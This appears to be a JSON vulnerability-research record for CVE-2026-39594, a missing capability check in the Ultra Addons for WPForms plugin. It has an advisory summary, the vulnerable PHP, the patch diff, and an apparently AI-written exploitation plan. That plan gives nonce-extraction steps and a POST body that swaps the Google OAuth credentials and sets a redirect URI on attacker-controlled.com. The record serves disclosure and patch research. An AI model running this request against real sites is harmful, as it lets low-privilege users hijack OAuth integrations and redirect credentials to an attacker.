[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fx3ReXmQ1e2JXf1jfiMtLecyHt0x0Ayo0b32vWdhJJWw":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":28,"research_verified":29,"research_rounds_completed":30,"research_plan":31,"research_summary":32,"research_vulnerable_code":33,"research_fix_diff":34,"research_exploit_outline":35,"research_model_used":36,"research_started_at":37,"research_completed_at":38,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":29,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":29,"source_links":39},"CVE-2026-39594","ultra-addons-for-wpforms-missing-authorization","Ultra Addons for WPForms \u003C= 1.0.11 - Missing Authorization","The Ultra Addons for WPForms plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 1.0.11. This makes it possible for authenticated attackers, with subscriber-level access and above, to perform an unauthorized action.","ultra-addons-for-wpforms",null,"\u003C=1.0.11","1.0.12","medium",4.3,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:U\u002FC:N\u002FI:L\u002FA:N","Missing Authorization","2026-04-16 00:00:00","2026-04-21 15:00:20",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F368c2c5d-0618-4c32-ad43-71fd742126d0?source=api-prod",6,[22,23,24,25,26,27],"app\u002FAddons\u002FAdvancedPhone\u002FAdvancedPhone.php","app\u002FAddons\u002FGoogleSheets\u002FAPI\u002FClient.php","app\u002FAddons\u002FGoogleSheets\u002FProvider\u002FSettings\u002FPageIntegrations.php","app\u002FAdmin\u002FOptions\u002FClasses\u002FULTRAWPF_Addon_Settings.php","app\u002FAdmin\u002FOptions\u002FClasses\u002FULTRAWPF_Settings.php","app\u002FHelpers\u002Fhelpers.php","researched",false,3,"# Exploitation Research Plan: CVE-2026-39594 (Ultra Addons for WPForms)\n\n## 1. Vulnerability Summary\nThe **Ultra Addons for WPForms** plugin (versions \u003C= 1.0.11) is vulnerable to **Missing Authorization** in its AJAX handlers. Specifically, the function `get_auth_url` registered via the `wp_ajax_uawpf_google_sheets_get_auth_url` action fails to perform a capability check (e.g., `current_user_can('manage_options')`). \n\nWhile it does perform a nonce check using `check_ajax_referer( 'wpforms-admin', 'nonce' )`, the `wpforms-admin` nonce is frequently available to any authenticated user with access to the WordPress admin dashboard (including Subscribers). This allows an attacker to update sensitive plugin options, specifically the Google Sheets API credentials (`client_id`, `client_secret`, and `redirect_uri`).\n\n## 2. Attack Vector Analysis\n- **Endpoint**: `\u002Fwp-admin\u002Fadmin-ajax.php`\n- **Action**: `uawpf_google_sheets_get_auth_url`\n- **Vulnerable Parameter(s)**: `client_id`, `client_secret`, `redirect_uri`\n- **Nonce Parameter**: `nonce` (Action string: `wpforms-admin`)\n- **Authentication Level**: Subscriber or higher (Authenticated).\n- **Precondition**: The \"Google Sheets\" addon must be active (usually enabled by default or via the plugin's settings).\n\n## 3. Code Flow\n1. **Entry Point**: The AJAX action is registered in `app\u002FAddons\u002FGoogleSheets\u002FProvider\u002FSettings\u002FPageIntegrations.php` within the `hooks()` method:\n   ```php\n   add_action( 'wp_ajax_uawpf_google_sheets_get_auth_url', [ $this, 'get_auth_url' ] );\n   ```\n2. **Nonce Verification**: The `get_auth_url()` method begins by verifying a nonce:\n   ```php\n   public function get_auth_url() {\n       check_ajax_referer( 'wpforms-admin', 'nonce' );\n       \u002F\u002F ...\n   ```\n3. **Missing Authorization**: There is no call to `current_user_can()`. Any user who can produce a valid `wpforms-admin` nonce can proceed.\n4. **Sink**: The function proceeds to update WordPress options directly from the `$_POST` array:\n   ```php\n   $client_id     = sanitize_text_field( wp_unslash( $_POST['client_id'] ) );\n   $client_secret = sanitize_text_field( wp_unslash( $_POST['client_secret'] ) );\n   $redirect_url  = sanitize_text_field( rawurldecode( $_POST['redirect_uri'] ) );\n\n   update_option( 'uawpf_gs_client_id', $client_id );\n   update_option( 'uawpf_gs_client_secret', $client_secret );\n   update_option( 'uawpf_gs_redirect_uri', $redirect_url );\n   ```\n\n## 4. Nonce Acquisition Strategy\nThe nonce action required is `wpforms-admin`. In WPForms, this nonce is globally enqueued for admin pages to support AJAX functionality.\n\n1. **Role**: Subscriber.\n2. **Navigation**: Navigate to a standard admin page accessible to Subscribers, such as `\u002Fwp-admin\u002Fprofile.php`.\n3. **Extraction**: Use `browser_eval` to extract the nonce from the `wpforms_admin` global JavaScript object. WPForms localizes its strings and nonces into this object.\n   - **Command**: `browser_eval(\"window.wpforms_admin?.nonce\")`\n4. **Fallback**: If not found in `window.wpforms_admin`, check `window.wpforms_settings?.nonce` or search the page source for `nonce`.\n\n## 5. Exploitation Strategy\n1. **Login**: Authenticate as a Subscriber user.\n2. **Nonce**: Extract the `wpforms-admin` nonce using the strategy above.\n3. **Request**: Send a POST request to `admin-ajax.php` to overwrite the Google Sheets credentials.\n\n**HTTP Request Details**:\n- **URL**: `http:\u002F\u002F\u003Ctarget>\u002Fwp-admin\u002Fadmin-ajax.php`\n- **Method**: `POST`\n- **Content-Type**: `application\u002Fx-www-form-urlencoded`\n- **Body**:\n  ```\n  action=uawpf_google_sheets_get_auth_url&nonce=[EXTRACTED_NONCE]&client_id=PWNED_CLIENT_ID&client_secret=PWNED_SECRET&redirect_uri=https:\u002F\u002Fattacker-controlled.com\u002Fcallback\n  ```\n\n## 6. Test Data Setup\n1. **User**: `wp user create attacker attacker@example.com --role=subscriber --user_pass=password`\n2. **Plugin Setup**: Ensure `ultra-addons-for-wpforms` and `wpforms-lite` are active.\n3. **Optional**: Navigate to the plugin settings as admin once to ensure the Google Sheets addon class is initialized (though the `init` and `wp_ajax` hooks should fire regardless).\n\n## 7. Expected Results\n- **Response**: The server should return a JSON success response:\n  ```json\n  {\"success\":true,\"data\":\"https:\\\u002F\\\u002Faccounts.google.com\\\u002Fo\\\u002Foauth2\\\u002Fv2\\\u002Fauth?client_id=PWNED_CLIENT_ID&...\"}\n  ```\n- **Side Effect**: The database options `uawpf_gs_client_id`, `uawpf_gs_client_secret`, and `uawpf_gs_redirect_uri` will be updated with the attacker's values.\n\n## 8. Verification Steps\nAfter sending the AJAX request, verify the option values using WP-CLI:\n```bash\nwp option get uawpf_gs_client_id\nwp option get uawpf_gs_client_secret\nwp option get uawpf_gs_redirect_uri\n```\nConfirm they match `PWNED_CLIENT_ID`, `PWNED_SECRET`, and the provided redirect URI.\n\n## 9. Alternative Approaches\nThe plugin also registers `wp_ajax_ultrawpf_options_save` in `app\u002FAdmin\u002FOptions\u002FClasses\u002FULTRAWPF_Settings.php`.\n```php\nadd_action( 'wp_ajax_ultrawpf_options_save', array( $this, 'ultrawpf_ajax_save_options' ) );\n```\nThis handler likely controls the main plugin settings (e.g., enabling\u002Fdisabling addons). If the Google Sheets exploit fails, this endpoint should be audited for similar missing authorization, as it uses the `ULTRAWPF_Settings` framework which often lacks role-based access control in AJAX handlers. The nonce for this would likely be found in `tf_opt` or similar JS objects generated by the settings framework.","The Ultra Addons for WPForms plugin for WordPress is vulnerable to unauthorized modification of settings due to a missing capability check on the get_auth_url function in versions up to 1.0.11. This allows authenticated attackers, including those with subscriber-level permissions, to update sensitive Google Sheets API credentials such as the Client ID and Client Secret.","\u002F\u002F app\u002FAddons\u002FGoogleSheets\u002FProvider\u002FSettings\u002FPageIntegrations.php line 64\npublic function get_auth_url() {\n\n    check_ajax_referer( 'wpforms-admin', 'nonce' );\n\n    \u002F\u002F Validate credentials.\n    if ( empty( $_POST['client_id'] ) || empty( $_POST['client_secret'] ) ) {\n        wp_send_json_error( __( 'Missing Client ID or Client Secret.', 'ultra-addons-for-wpforms' ), 400 );\n    }\n\n    \u002F\u002F Sanitize inputs.\n    $client_id     = sanitize_text_field( wp_unslash( $_POST['client_id'] ) );\n    $client_secret = sanitize_text_field( wp_unslash( $_POST['client_secret'] ) );\n    $redirect_url  = sanitize_text_field( rawurldecode( $_POST['redirect_uri'] ) );\n\n    update_option( 'uawpf_gs_client_id', $client_id );\n    update_option( 'uawpf_gs_client_secret', $client_secret );\n    update_option( 'uawpf_gs_redirect_uri', $redirect_url );\n\n    \u002F\u002F ... (truncated)","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fultra-addons-for-wpforms\u002F1.0.11\u002Fapp\u002FAddons\u002FGoogleSheets\u002FProvider\u002FSettings\u002FPageIntegrations.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fultra-addons-for-wpforms\u002F1.0.12\u002Fapp\u002FAddons\u002FGoogleSheets\u002FProvider\u002FSettings\u002FPageIntegrations.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fultra-addons-for-wpforms\u002F1.0.11\u002Fapp\u002FAddons\u002FGoogleSheets\u002FProvider\u002FSettings\u002FPageIntegrations.php\t2026-01-16 13:03:36.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fultra-addons-for-wpforms\u002F1.0.12\u002Fapp\u002FAddons\u002FGoogleSheets\u002FProvider\u002FSettings\u002FPageIntegrations.php\t2026-03-08 16:34:00.000000000 +0000\n@@ -66,6 +66,9 @@\n \n \t\tcheck_ajax_referer( 'wpforms-admin', 'nonce' );\n \n+\t\tif ( ! current_user_can( 'manage_options' ) ) {\n+\t\t\twp_send_json_error( __( 'You do not have sufficient permissions to access this page.', 'ultra-addons-for-wpforms' ), 403 );\n+\t\t}\n \t\t\u002F\u002F Validate credentials.\n \t\tif ( empty( $_POST['client_id'] ) || empty( $_POST['client_secret'] ) ) {\n \t\t\twp_send_json_error( __( 'Missing Client ID or Client Secret.', 'ultra-addons-for-wpforms' ), 400 );\n@@ -75,7 +78,21 @@\n \t\t$client_id     = sanitize_text_field( wp_unslash( $_POST['client_id'] ) );\n \t\t$client_secret = sanitize_text_field( wp_unslash( $_POST['client_secret'] ) );\n \t\t$redirect_url  = sanitize_text_field( rawurldecode( $_POST['redirect_uri'] ) );\n+\t\t$allowed_domains = [ parse_url( home_url(), PHP_URL_HOST ) ];\n+\t\t$redirect_domain = parse_url( $redirect_url, PHP_URL_HOST );\n+\n+\t\t\u002F\u002F Enforce HTTPS\n+\t\tif ( parse_url( $redirect_url, PHP_URL_SCHEME ) !== 'https' ) {\n+\t\t\twp_send_json_error(\n+\t\t\t\t__( 'OAuth requires HTTPS redirect URI.', 'ultra-addons-for-wpforms' ),\n+\t\t\t\t400\n+\t\t\t);\n+\t\t}\n \n+\t\tif ( ! in_array( $redirect_domain, $allowed_domains, true ) ) {\n+\t\t\twp_send_json_error( 'Invalid redirect URI domain', 400 );\n+\t\t}\n+\t\t\n \t\tupdate_option( 'uawpf_gs_client_id', $client_id );\n \t\tupdate_option( 'uawpf_gs_client_secret', $client_secret );\n \t\tupdate_option( 'uawpf_gs_redirect_uri', $redirect_url );","The exploit targets the AJAX action 'uawpf_google_sheets_get_auth_url'. An authenticated attacker with Subscriber-level access first obtains a valid 'wpforms-admin' nonce, which is typically localized in the global JavaScript object 'wpforms_admin' on standard admin pages like profile.php. The attacker then sends a POST request to admin-ajax.php containing the nonce and malicious values for 'client_id', 'client_secret', and 'redirect_uri'. Because the vulnerable function only checks the nonce and lacks a call to current_user_can('manage_options'), it proceeds to update the plugin's global options in the WordPress database with the attacker's values.","gemini-3-flash-preview","2026-04-27 14:37:21","2026-04-27 14:38:14",{"type":40,"vulnerable_version":41,"fixed_version":11,"vulnerable_browse":42,"vulnerable_zip":43,"fixed_browse":44,"fixed_zip":45,"all_tags":46},"plugin","1.0.11","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fultra-addons-for-wpforms\u002Ftags\u002F1.0.11","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fultra-addons-for-wpforms.1.0.11.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fultra-addons-for-wpforms\u002Ftags\u002F1.0.12","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fultra-addons-for-wpforms.1.0.12.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fultra-addons-for-wpforms\u002Ftags"]